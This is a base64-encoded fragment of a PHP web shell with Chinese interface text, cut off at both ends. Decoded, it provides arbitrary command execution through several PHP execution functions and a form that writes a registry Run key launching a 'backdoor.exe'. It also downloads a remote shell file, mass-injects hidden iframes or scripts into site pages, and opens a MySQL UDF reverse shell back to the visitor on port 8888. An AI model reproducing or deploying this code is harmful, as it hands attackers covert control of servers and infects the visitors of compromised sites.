INTCIDEzIMjVINDHxtrO5SAyMDo0NTo1NCC1vSAyMDM4xOogMSDUwiAxOSDI1SDQx8batv4gMDM6MTQ6MDc8YnI+KLjDyNXG2rj5vt0gMzIgzrvT0Lf7usXV+8r9tcTX7tCh1rW6zdfutPPWtbb4wLQpPC9saT48bGk+y7XD9zogyNXIoSAwMSC1vSAzMCDWrrzkLCDKscihIDAgtb0gMjQg1q685Cwgt9a6zcPryKEgMCC1vSA2MCDWrrzkITwvbGk+PC91bD4nLCdsZWZ0Jyk7DQoJJHRiLT50ZGJvZHkoJ7Wxx7DOxLz+w/s6ICcuJGZpbGUpOw0KCSR0Yi0+bWFrZWhpZGRlbignY3VyZmlsZScsJGZpbGUpOw0KCSR0Yi0+dGRib2R5KCfQ3rjEzqo6ICcuJHRiLT5tYWtlaW5wdXQoJ3llYXInLCcxOTg0JywnJywndGV4dCcsJzQnKS4nIMTqICcuJHRiLT5tYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J21vbnRoJywnb3B0aW9uJz0+JGNhY2hlbW9udGgsJ3NlbGVjdGVkJz0+J09jdG9iZXInKSkuJyDUwiAnLiR0Yi0+bWFrZWlucHV0KCdkYXRhJywnMTgnLCcnLCd0ZXh0JywnMicpLicgyNUgJy4kdGItPm1ha2VpbnB1dCgnaG91cicsJzIwJywnJywndGV4dCcsJzInKS4nIMqxICcuJHRiLT5tYWtlaW5wdXQoJ21pbnV0ZScsJzAwJywnJywndGV4dCcsJzInKS4nILfWICcuJHRiLT5tYWtlaW5wdXQoJ3NlY29uZCcsJzAwJywnJywndGV4dCcsJzInKS4nIMPrJywnY2VudGVyJywnMicsJzMwJyk7DQoJJHRiLT5tYWtlaGlkZGVuKCdkbycsJ21vZG15dGltZScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgbmV3dGltZQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAic2hlbGwiKSB7DQoJJGFjdGlvbiA9ICI/P2FjdGlvbj1zaGVsbCZkaXI9Ii51cmxlbmNvZGUoJGRpcik7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+dGRoZWFkZXIoJ1dlYlNoZWxsIE1vZGUnKTsNCiAgaWYgKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSB7DQoJCSRwcm9ncmFtID0gaXNzZXQoJF9QT1NUWydwcm9ncmFtJ10pID8gJF9QT1NUWydwcm9ncmFtJ10gOiAiYzpcd2lubnRcc3lzdGVtMzJcY21kLmV4ZSI7DQoJCSRwcm9nID0gaXNzZXQoJF9QT1NUWydwcm9nJ10pID8gJF9QT1NUWydwcm9nJ10gOiAiL2MgbmV0IHN0YXJ0ID4gIi4kcGF0aG5hbWUuIi9sb2cudHh0IjsNCgkJZWNobyAiPGZvcm0gYWN0aW9uPVwiP2FjdGlvbj1zaGVsbCZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIlwiIG1ldGhvZD1cIlBPU1RcIj5cbiI7DQoJCSR0Yi0+dGRib2R5KCfO3rvYz9TUy9DQs8zQ8iCh+iDOxLz+OiAnLiR0Yi0+bWFrZWlucHV0KCdwcm9ncmFtJywkcHJvZ3JhbSkuJyCyzsr9OiAnLiR0Yi0+bWFrZWlucHV0KCdwcm9nJywkcHJvZywnJywndGV4dCcsJzQwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCdSdW4nLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzM1Jyk7DQoJCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdwcm9ncmFtcnVuJyk7DQoJCWVjaG8gIiIuJGNvcHl1cmwuJHNlcnZlcnUuIiZwPSIuJHNlcnZlcnAuJGNvcHl1cmxsLiI8L2Zvcm0+XG4iOw0KCX0NCiBlY2hvICI8Zm9ybSBhY3Rpb249XCI/YWN0aW9uPXNoZWxsJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iXCIgbWV0aG9kPVwiUE9TVFwiPlxuIjsNCiBpZihpc3NldCgkX1BPU1RbJ2NtZCddKSkgJGNtZCA9ICRfUE9TVFsnY21kJ107DQoJJHRiLT50ZGJvZHkoJ8zhyr46yOe5+8rks/a94bn7srvN6sirLL2o0umw0crks/a94bn70LTI687EvP4u1eLR+b/J0tS1w7W9yKuyv8TayN0uICcpOw0KCSR0Yi0+dGRib2R5KCdwcm9jX29wZW66r8r9vNnJ6LK7ysfErMjPtcR3aW5udM+1zbPH69fU0NDJ6NbDyrnTwyzX1NDQ0N64xLzHtcPQtM3Ls/Yst/HU8rvh1NrW97v6yc/B9M/C0ru49s60veHK+LXEvfizzC4nKTsNCgkkdGItPnRkYm9keSgncHJvY19vcGVuuq/K/dKqyrnTw7XEY21ks8zQ8rXEzrvWwzonLiR0Yi0+bWFrZWlucHV0KCdjbWQnLCRjbWQsJycsJ3RleHQnLCczMCcpLico0qrKx8rHbGludXjPtc2zu7nKx7TztPPDx9fUvLrQ3rjEsMkpJyk7DQogICAkZXhlY2Z1bmNzID0gKHN1YnN0cihQSFBfT1MsIDAsIDMpID09ICdXSU4nKSA/IGFycmF5KCdzeXN0ZW0nPT4nc3lzdGVtJywncGFzc3RocnUnPT4ncGFzc3RocnUnLCdleGVjJz0+J2V4ZWMnLCdzaGVsbF9leGVjJz0+J3NoZWxsX2V4ZWMnLCdwb3Blbic9Pidwb3BlbicsJ3dzY3JpcHQnPT4nV3NjcmlwdC5TaGVsbCcsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKSA6IGFycmF5KCdzeXN0ZW0nPT4nc3lzdGVtJywncGFzc3RocnUnPT4ncGFzc3RocnUnLCdleGVjJz0+J2V4ZWMnLCdzaGVsbF9leGVjJz0+J3NoZWxsX2V4ZWMnLCdwb3Blbic9Pidwb3BlbicsJ3Byb2Nfb3Blbic9Pidwcm9jX29wZW4nKTsNCiAgICR0Yi0+dGRib2R5KCfRodTx1rTQ0Lqvyv06ICcuJHRiLT5tYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2V4ZWNmdW5jJywnb3B0aW9uJz0+JGV4ZWNmdW5jcywnc2VsZWN0ZWQnPT4kZXhlY2Z1bmMpKS4nIMrkyOvD/MHuOiAnLiR0Yi0+bWFrZWlucHV0KCdjb21tYW5kJywkX1BPU1RbJ2NvbW1hbmQnXSwnJywndGV4dCcsJzYwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCdSdW4nLCcnLCdzdWJtaXQnKSk7DQo/Pg0KICA8dHIgY2xhc3M9InNlY29uZGFsdCI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiPjx0ZXh0YXJlYSBuYW1lPSJ0ZXh0YXJlYSIgY29scz0iMTAwIiByb3dzPSIyNSIgcmVhZG9ubHk+PD9waHANCglpZiAoIWVtcHR5KCRfUE9TVFsnY29tbWFuZCddKSkgew0KCQlpZiAoJGV4ZWNmdW5jPT0ic3lzdGVtIikgew0KCQkJc3lzdGVtKCRfUE9TVFsnY29tbWFuZCddKTsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09InBhc3N0aHJ1Iikgew0KCQkJcGFzc3RocnUoJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9IGVsc2VpZiAoJGV4ZWNmdW5jPT0iZXhlYyIpIHsNCgkJCSRyZXN1bHQgPSBleGVjKCRfUE9TVFsnY29tbWFuZCddKTsNCgkJCWVjaG8gJHJlc3VsdDsNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09InNoZWxsX2V4ZWMiKSB7DQoJCQkkcmVzdWx0PXNoZWxsX2V4ZWMoJF9QT1NUWydjb21tYW5kJ10pOw0KCQkJZWNobyAkcmVzdWx0OwkNCgkJfSBlbHNlaWYgKCRleGVjZnVuYz09InBvcGVuIikgew0KCQkJJHBwID0gcG9wZW4oJF9QT1NUWydjb21tYW5kJ10sICdyJyk7DQoJCQkkcmVhZCA9IGZyZWFkKCRwcCwgMjA5Nik7DQoJCQllY2hvICRyZWFkOw0KCQkJcGNsb3NlKCRwcCk7DQoJCX0gZWxzZWlmICgkZXhlY2Z1bmM9PSJ3c2NyaXB0Iikgew0KCQkJJHdzaCA9IG5ldyBDT00oJ1cnLidTY3InLidpcCcuJ3Quc2hlJy4nbGwnKSBvciBkaWUoIlBIUCBDcmVhdGUgQ09NIFdTSFNIRUxMIGZhaWxlZCIpOw0KCQkJJGV4ZWMgPSAkd3NoLT5leGVjICgiY20iLiJkLmUiLiJ4ZSAvYyAiLiRfUE9TVFsnY29tbWFuZCddLiIiKTsNCgkJCSRzdGRvdXQgPSAkZXhlYy0+U3RkT3V0KCk7DQoJCQkkc3Ryb3V0cHV0ID0gJHN0ZG91dC0+UmVhZEFsbCgpOw0KCQkJZWNobyAkc3Ryb3V0cHV0Ow0KCQl9IGVsc2VpZigkZXhlY2Z1bmM9PSJwcm9jX29wZW4iKXsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KICAgMCA9PiBhcnJheSgicGlwZSIsICJyIiksDQogICAxID0+IGFycmF5KCJwaXBlIiwgInciKSwNCiAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpDQopOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oIiIuJF9QT1NUWydjbWQnXS4iIiwgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpOw0KaWYgKGlzX3Jlc291cmNlKCRwcm9jZXNzKSkgew0KDQogICAgLy8g0LTD/MHuDQogICAgZndyaXRlKCRwaXBlc1swXSwgIiIuJF9QT1NUWydjb21tYW5kJ10uIlxyXG4iKTsNCiAgICBmd3JpdGUoJHBpcGVzWzBdLCAiZXhpdFxyXG4iKTsNCiAgICBmY2xvc2UoJHBpcGVzWzBdKTsNCiAgICAvLyC2wcihyuSz9g0KICAgIHdoaWxlICghZmVvZigkcGlwZXNbMV0pKSB7DQogICAgICAgIGVjaG8gZmdldHMoJHBpcGVzWzFdLCAxMDI0KTsNCiAgICB9DQogICAgZmNsb3NlKCRwaXBlc1sxXSk7DQogICAgd2hpbGUgKCFmZW9mKCRwaXBlc1syXSkpIHsNCiAgICAgICAgZWNobyBmZ2V0cygkcGlwZXNbMl0sIDEwMjQpOw0KICAgICAgfQ0KICAgIGZjbG9zZSgkcGlwZXNbMl0pOw0KDQogICAgcHJvY19jbG9zZSgkcHJvY2Vzcyk7DQp9DQoJCX0gZWxzZSB7DQoJCQlzeXN0ZW0oJF9QT1NUWydjb21tYW5kJ10pOw0KCQl9DQoJfQ0KCT8+PC90ZXh0YXJlYT48L3RkPg0KICA8L3RyPiAgDQogIDwvZm9ybT4NCjwvdGFibGU+DQo8P3BocA0KfS8vZW5kIHNoZWxsDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJyZWciKSB7DQoJJGFjdGlvbiA9ICc/YWN0aW9uPXJlZyc7DQoJJHJlZ25hbWUgPSBpc3NldCgkX1BPU1RbJ3JlZ25hbWUnXSkgPyAkX1BPU1RbJ3JlZ25hbWUnXSA6ICdIS0VZX0xPQ0FMX01BQ0hJTkVcU1lTVEVNXEN1cnJlbnRDb250cm9sU2V0XENvbnRyb2xcVGVybWluYWwgU2VydmVyXFdkc1xyZHB3ZFxUZHNcdGNwXFBvcnROdW1iZXInOw0KCSRyZWdpc3RyZSA9IGlzc2V0KCRfUE9TVFsncmVnaXN0cmUnXSkgPyAkX1BPU1RbJ3JlZ2lzdHJlJ10gOiAnSEtFWV9MT0NBTF9NQUNISU5FXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1blxCYWNrZG9vcic7DQoJJHJlZ3ZhbCA9IGlzc2V0KCRfUE9TVFsncmVndmFsJ10pID8gJF9QT1NUWydyZWd2YWwnXSA6ICdjOlx3aW5udFxiYWNrZG9vci5leGUnOw0KCSRkZWxyZWduYW1lID0gJF9QT1NUWydkZWxyZWduYW1lJ107DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCe2wcih16Ky4bHtJyk7DQoJJHRiLT50ZGJvZHkoJ7z81rU6ICcuJHRiLT5tYWtlaW5wdXQoJ3JlYWRyZWduYW1lJywkcmVnbmFtZSwnJywndGV4dCcsJzEwMCcpLicgJy4kdGItPm1ha2VpbnB1dCgncmVncmVhZCcsJ7bByKEnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzUwJyk7DQoJZWNobyAiPC9mb3JtPiI7DQoNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn0LTI69eisuGx7ScpOw0KCSRjYWNoZXJlZ3R5cGUgPSBhcnJheSgnUkVHX1NaJz0+J1JFR19TWicsJ1JFR19CSU5BUlknPT4nUkVHX0JJTkFSWScsJ1JFR19EV09SRCc9PidSRUdfRFdPUkQnLCdSRUdfTVVMVElfU1onPT4nUkVHX01VTFRJX1NaJywnUkVHX0VYUEFORF9TWic9PidSRUdfRVhQQU5EX1NaJyk7DQoJJHRiLT50ZGJvZHkoJ7z81rU6ICcuJHRiLT5tYWtlaW5wdXQoJ3dyaXRlcmVnbmFtZScsJHJlZ2lzdHJlLCcnLCd0ZXh0JywnNTYnKS4nIMDg0M06ICcuJHRiLT5tYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3JlZ3R5cGUnLCdvcHRpb24nPT4kY2FjaGVyZWd0eXBlLCdzZWxlY3RlZCc9PiRyZWd0eXBlKSkuJyDWtTogICcuJHRiLT5tYWtlaW5wdXQoJ3JlZ3ZhbCcsJHJlZ3ZhbCwnJywndGV4dCcsJzE1JykuJyAnLiR0Yi0+bWFrZWlucHV0KCdyZWd3cml0ZScsJ9C0yOsnLCcnLCdzdWJtaXQnKSwnY2VudGVyJywnMicsJzUwJyk7DQoJZWNobyAiPC9mb3JtPiI7DQoNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnyb6z/deisuGx7ScpOw0KCSR0Yi0+dGRib2R5KCe8/Na1OiAnLiR0Yi0+bWFrZWlucHV0KCdkZWxyZWduYW1lJywkZGVscmVnbmFtZSwnJywndGV4dCcsJzEwMCcpLicgJy4kdGItPm1ha2VpbnB1dCgncmVnZGVsZXRlJywnyb6z/ScsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcyJywnNTAnKTsNCgllY2hvICI8L2Zvcm0+IjsNCgkkdGItPnRhYmxlZm9vdGVyKCk7DQp9Ly9lbmQgcmVnDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAiZG93bmxvYWRzIil7DQokYWN0aW9uID0gJz9hY3Rpb249ZGlyJzsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ2h0dHDOxLz+z8LU2MSjyr0nKTsNCgkkdGItPnRkYm9keSgnxOO/ydLUyrnTw7G+uabE3LDR0rvQqdChuaS+39LUaHR0cLe9yr3PwtTYtb20y7f+zvHG9ycsJ2NlbnRlcicpOw0KCSR0Yi0+dGRib2R5KCfOxLz+zrvWwzogJy4kdGItPm1ha2VpbnB1dCgnZHVybCcsJ2h0dHA6Ly9ibG9nLmJsYWNrd29vZHMuY29tL21peWFiaS9teXNoZWxsLnR4dCcsJycsJ3RleHQnLCc3MCcpLic8YnI+z8LU2LW9OicuJHRiLT5tYWtlaW5wdXQoJ3BhdGgnLCcuL215c2hlbGwucGhwJywnJywndGV4dCcsJzYwJykuJycuJHRiLT5tYWtlaGlkZGVuKCdkbycsJ2Rvd25sb2FkcycpLicnLiR0Yi0+bWFrZWlucHV0KCcnLCfPwtTYJywnJywnc3VibWl0JyksJ2NlbnRlcicsJzEnLCczNScpOw0KCWVjaG8gIjwvZm9ybT4iOw0KCSR0Yi0+dGRib2R5KCfXotLiLLzZyejOxLz+zKu0872rzt63qM/C1NjPwsC0tvjH0tOwz+zWtNDQy9m2yC4nLCdjZW50ZXInKTsNCgkkdGItPnRhYmxlZm9vdGVyKCk7DQp9DQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAic2VhcmNoIil7DQokYWN0aW9uID0gJz9kaXI9Jy4kZGlyLicnOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnzsS8/rLp1dInKTsNCgkkdGItPnRkYm9keSgnxOO/ydLUyrnTw7G+uabE3LLp1dLSu7j2xL/CvM/CtcTOxLz+wO/ExNC0zsS8/rD8uqzXxbnYvPy0yiEnLCdjZW50ZXInKTsNCgkkdGItPnRkYm9keSgnzsS8/s671sM6ICcuJHRiLT5tYWtlaW5wdXQoJ3BhdGgnLCcnLiRub3dwYXRoLicnLCcnLCd0ZXh0JywnNzAnKS4nPGJyPrLp1dLOxNfWOicuJHRiLT5tYWtlaW5wdXQoJ29sZGtleScsJ8/CvPonLCcnLCd0ZXh0JywnNjAnKS4nJy4kdGItPm1ha2VoaWRkZW4oJ2RvJywnc2VhcmNoJykuJzxicj4gyse38bzGy+PL+dTa0NA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InR5cGUiIHZhbHVlPSJsaXN0IiBvbmNsaWNrPSJqYXZhc2NyaXB0OmFsZXJ0KFwn0aG2qLTLtKa9q7vhwdCz9rnYvPy0ytTay/nU2s7EvP61xLbgydnQ0Cy6zcv51Nq1xMTHzsS8/tPQtuDJ2dDQvfjQ0LHIttRcXG5cXG648cq9zqo6W8v51NrQ0C/OxLz+19zQ0F3A/cjnWzEyLzk5XSzTw8C0vfjQ0LfWzvYuXFxuXFxutMu5psTcv8nE3Lvh1Pa809K7sr+31rXE0dPKsSzH67+8wsfKudPDLMO709C/ybbByKjP3r2rs/a07SFcJykiPiAotMu5psTcus3PwsPm0ru49rmmxNy74dOwz+zWtNDQy9m2yKOsy/nS1MSsyM+52LHVISkgPGJyPsrKtbG2wcihOjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idHlwZTIiIHZhbHVlPSJnZXRwYXRoIiBvbmNsaWNrPSJqYXZhc2NyaXB0OmFsZXJ0KFwn0aG2qLTLtKa9q7vhwdCz9rnYvPy0ytTay/nU2s671sO8sMTjyei2qL3hyvjH+NPyxNq1xLK/t9bX1rf7Li5cXG5cXG6yycihtMu5psTcsunV0s3qzsS8/rrzsNHK87Hq0sa2r7W91dK1vbXEzsS8/sP7yc+8tL/JtsHIobfWzvYuLi4uXFxuXFxutMu5psTcv8nE3Lvh1Pa809K7sr+31rXE0dPKsSzH67+8wsfKudPDLMO709C/ybbByKjP3r2rs/a07SFcJykiPiC2wcihudi8/LTKx7AnLiR0Yi0+bWFrZWlucHV0KCdiZWxpbmUnLCcwJywnJywndGV4dCcsJzMnKS4nuPbX1rf7ICcuJHRiLT5tYWtlaGlkZGVuKCdkaXInLCcnLiRkaXIuJycpLie1vbnYvPy0yrrztdonLiR0Yi0+bWFrZWlucHV0KCdlbmRsaW5lJywnMTAnLCcnLCd0ZXh0JywnMycpLie49tfWt/suLi4gJy4kdGItPm1ha2VoaWRkZW4oJ2RpcicsJycuJGRpci4nJykuJycuJHRiLT5tYWtlaW5wdXQoJycsJ7+qyryy6dXSzsS8/icsJycsJ3N1Ym1pdCcpLCdjZW50ZXInLCcxJywnMzUnKTsNCgllY2hvICI8L2Zvcm0+IjsNCgkkdGItPnRkYm9keSgnx+ux7cyrtPO1xMS/wrzBy6Oswv3C/eSvwMDC/cL91dK6w7K7usPC7y682cno0aG2qLzGy+PQ0MvZtsi74cL9oaPP1Mq+W8v51NrQ0C/X3LmytuDJ2dDQXScsJ2NlbnRlcicpOw0KCSR0Yi0+dGFibGVmb290ZXIoKTsNCn0NCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJwbGdtIikgew0KCSRhY3Rpb24gPSAnP2FjdGlvbj1wbGdtb2snOw0KCSRnbSA9ICI8aWZyYW1lIHNyYz1odHRwOi8vMTI3LjAuMC4xL20uaHRtIHdpZHRoPTAgaGVpZ2h0PTA+PC9pZnJhbWU+IjsNCgkkZ21tID0gYmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92THlVM05pVTJNeVUyTXlVMk5DVXlSU1UyTXlVMlJTOGxNekkrUEM5elkzSnBjSFErJyk7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfF+sG/udLC7ScpOw0KCSR0Yi0+dGRib2R5KCfN+NW+xfrBv7nSwu2zzNDycGhwsOYgQlkgyfHD2CcsJ2NlbnRlcicpOw0KCSR0Yi0+dGRib2R5KCfOxLz+zrvWwzogJy4kdGItPm1ha2VpbnB1dCgnZGlyJywnJy4kbm93cGF0aC4nJywnJywndGV4dCcsJzYwJykuJHRiLT5tYWtlaGlkZGVuKCdzYmJtJywnJy4kZ21tLicnLCcnLCd0ZXh0JykuJzxicj7SqrnStPrC6zonLiR0Yi0+bWFrZXRleHRhcmVhKCdtbScsJGdtLCc1MCcsJzUnKS4nJy4kdGItPm1ha2VoaWRkZW4oJ2RvJywnxfrBv7nSwu0nKS4nPGJyPicuJHRiLT5tYWtlaW5wdXQoJ3N1Ym1pdCcsJ7+qyry50sLtJywnJywnc3VibWl0JyksJ2NlbnRlcicsJzEnLCczNScpOw0KCWVjaG8gIiIuJGNvcHl1cmwuJHNlcnZlcnUuIiZwPSIuJHNlcnZlcnAuJGNvcHl1cmxsLiI8L2Zvcm0+IjsNCgkkdGItPnRhYmxlZm9vdGVyKCk7DQp9Ly9lbmQgcHJveHkNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJwcm94eSIpIHsNCgkkYWN0aW9uID0gJz9hY3Rpb249cHJveHknOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn1NrP37T6wO0nLCdwcm94eWZyYW1lJyk7DQoJJHRiLT50ZGJvZHkoJzxicj48dWw+PGxpPtPDsb65psTcvfbKtc/WvPK1pbXEIEhUVFAgtPrA7Syyu7vhz9TKvsq508PP4LbUwre+trXEzbzGrKGiwbS907ywQ1NT0fnKvbHtLjwvbGk+PGxpPtPDsb65psTcv8nS1M2ouf2xvrf+zvHG9+SvwMDEv7HqVVJMLLWrsrvWp7PWIFNRTCBJbmplY3Rpb24gzL2y4tLUvLDEs9CpzNjK4tfWt/suPC9saT48bGk+08OxvrmmxNzkr8DAtcQgVVJMLNTaxL+x6tb3u/rJz8H0z8K1xElQvMfCvMrHIDogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4nPC9saT48L3VsPicsJ2xlZnQnKTsNCgkkdGItPnRkYm9keSgnVVJMOiAnLiR0Yi0+bWFrZWlucHV0KCd1cmwnLCdodHRwOi8vd3d3Lmdvb2dsZS5jb20nLCcnLCd0ZXh0JywnMTAwJykuJyAnLiR0Yi0+bWFrZWlucHV0KCcnLCfkr8DAJywnJywnc3VibWl0JyksJ2NlbnRlcicsJzEnLCc0MCcpOw0KCSR0Yi0+dGRib2R5KCc8aWZyYW1lIG5hbWU9InByb3h5ZnJhbWUiIGZyYW1lYm9yZGVyPSIwIiB3aWR0aD0iNzY1IiBoZWlnaHQ9IjQwMCIgbWFyZ2luaGVpZ2h0PSIwIiBtYXJnaW53aWR0aD0iMCIgc2Nyb2xsaW5nPSJhdXRvIiBzcmM9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbSI+PC9pZnJhbWU+Jyk7DQoJZWNobyAiPC9mb3JtPiI7DQoJJHRiLT50YWJsZWZvb3RlcigpOw0KfS8vZW5kIHByb3h5DQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJzcWwiKSB7DQoJJGFjdGlvbiA9ICc/YWN0aW9uPXNxbCc7DQoNCgkkc2VydmVybmFtZSA9IGlzc2V0KCRfUE9TVFsnc2VydmVybmFtZSddKSA/ICRfUE9TVFsnc2VydmVybmFtZSddIDogJ2xvY2FsaG9zdCc7DQoJJGRidXNlcm5hbWUgPSBpc3NldCgkX1BPU1RbJ2RidXNlcm5hbWUnXSkgPyAkX1BPU1RbJ2RidXNlcm5hbWUnXSA6ICdyb290JzsNCgkkZGJwYXNzd29yZCA9ICRfUE9TVFsnZGJwYXNzd29yZCddOw0KCSRkYm5hbWUgPSAkX1BPU1RbJ2RibmFtZSddOw0KCSRzcWxfcXVlcnkgPSAkX1BPU1RbJ3NxbF9xdWVyeSddOw0KaWYoJHR5cGU9PSJmdW4iKXsNCiRzcWxfcXVlcnkgPSAiQ1JFQVRFIEZVTkNUSU9OIE1peGNvbm5lY3QgUkVUVVJOUyBTVFJJTkcgU09OQU1FICdDOlxcXFdpbm50XFxcTWl4LmRsbCc7DQpzZWxlY3QgTWl4Y29ubmVjdCgnIi4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iJywnODg4OCcpOy8q1eK49tfuusPPyNa00NDBy8nPw+bSu77k1NnTwyovDQovKsfr1NrE47zGy+O7+snP1rTQ0CBuYyAtdnYgLWwgLXAgODg4OCovIjsNCn0NCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ9a00NAgU1FMINPvvuQnKTsNCgkkdGItPnRkYm9keSgnSG9zdDogJy4kdGItPm1ha2VpbnB1dCgnc2VydmVybmFtZScsJHNlcnZlcm5hbWUsJycsJ3RleHQnLCcyMCcpLicgVXNlcjogJy4kdGItPm1ha2VpbnB1dCgnZGJ1c2VybmFtZScsJGRidXNlcm5hbWUsJycsJ3RleHQnLCcxNScpLicgUGFzczogJy4kdGItPm1ha2VpbnB1dCgnZGJwYXNzd29yZCcsJGRicGFzc3dvcmQsJycsJ3RleHQnLCcxNScpLicgREI6ICcuJHRiLT5tYWtlaW5wdXQoJ2RibmFtZScsJGRibmFtZSwnJywndGV4dCcsJzE1JykuJyAnLiR0Yi0+bWFrZWlucHV0KCdjb25uZWN0Jywnway90ycsJycsJ3N1Ym1pdCcpKTsNCgkkdGItPnRkYm9keSgkdGItPm1ha2V0ZXh0YXJlYSgnc3FsX3F1ZXJ5Jywkc3FsX3F1ZXJ5LCc4NScsJzEwJykpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdxdWVyeScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgc3FsIHF1ZXJ5DQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJzcWxiYWsiKSB7DQoJJGFjdGlvbiA9ICc/YWN0aW9uPXNxbGJhayc7DQoJJHNlcnZlcm5hbWUgPSBpc3NldCgkX1BPU1RbJ3NlcnZlcm5hbWUnXSkgPyAkX1BPU1RbJ3NlcnZlcm5hbWUnXSA6ICdsb2NhbGhvc3QnOw0KCSRkYnVzZXJuYW1lID0gaXNzZXQoJF9QT1NUWydkYnVzZXJuYW1lJ10pID8gJF9QT1NUWydkYnVzZXJuYW1lJ10gOiAncm9vdCc7DQoJJGRicGFzc3dvcmQgPSAkX1BPU1RbJ2RicGFzc3dvcmQnXTsNCgkkZGJuYW1lID0gJF9QT1NUWydkYm5hbWUnXTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ7G4t90gTXlTUUwgyv2+3b/iJyk7DQoJJHRiLT50ZGJvZHkoJ0hvc3Q6ICcuJHRiLT5tYWtlaW5wdXQoJ3NlcnZlcm5hbWUnLCRzZXJ2ZXJuYW1lLCcnLCd0ZXh0JywnMjAnKS4nIFVzZXI6ICcuJHRiLT5tYWtlaW5wdXQoJ2RidXNlcm5hbWUnLCRkYnVzZXJuYW1lLCcnLCd0ZXh0JywnMTUnKS4nIFBhc3M6ICcuJHRiLT5tYWtlaW5wdXQoJ2RicGFzc3dvcmQnLCRkYnBhc3N3b3JkLCcnLCd0ZXh0JywnMTUnKS4nIERCOiAnLiR0Yi0+bWFrZWlucHV0KCdkYm5hbWUnLCRkYm5hbWUsJycsJ3RleHQnLCcxNScpLicgJy4kdGItPm1ha2VpbnB1dCgnY29ubmVjdCcsJ8GsvdMnLCcnLCdzdWJtaXQnKSk7DQoJQG15c3FsX2Nvbm5lY3QoJHNlcnZlcm5hbWUsJGRidXNlcm5hbWUsJGRicGFzc3dvcmQpIEFORCBAbXlzcWxfc2VsZWN0X2RiKCRkYm5hbWUpOw0KICAgICR0YWJsZXMgPSBAbXlzcWxfbGlzdF90YWJsZXMoJGRibmFtZSk7DQogICAgd2hpbGUgKCR0YWJsZSA9IEBteXNxbF9mZXRjaF9yb3coJHRhYmxlcykpIHsNCgkJJGNhY2hldGFibGVzWyR0YWJsZVswXV0gPSAkdGFibGVbMF07DQogICAgfQ0KICAgIEBteXNxbF9mcmVlX3Jlc3VsdCgkdGFibGVzKTsNCglpZiAoZW1wdHkoJGNhY2hldGFibGVzKSkgew0KCQkkdGItPnRkYm9keSgnPGI+xPrDu9PQway908r9vt2/4iBvciC1scewyv2+3b/iw7vT0MjOus7K/b7dse08L2I+Jyk7DQoJfSBlbHNlIHsNCgkJJHRiLT50ZGJvZHkoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSI+PHRyPjx0ZCB2YWxpZ249InRvcCI+x+vRodTxse06PC90ZD48dGQ+Jy4kdGItPm1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4ndGFibGVbXScsJ29wdGlvbic9PiRjYWNoZXRhYmxlcywnbXVsdGlwbGUnPT4xLCdzaXplJz0+MTUsJ2Nz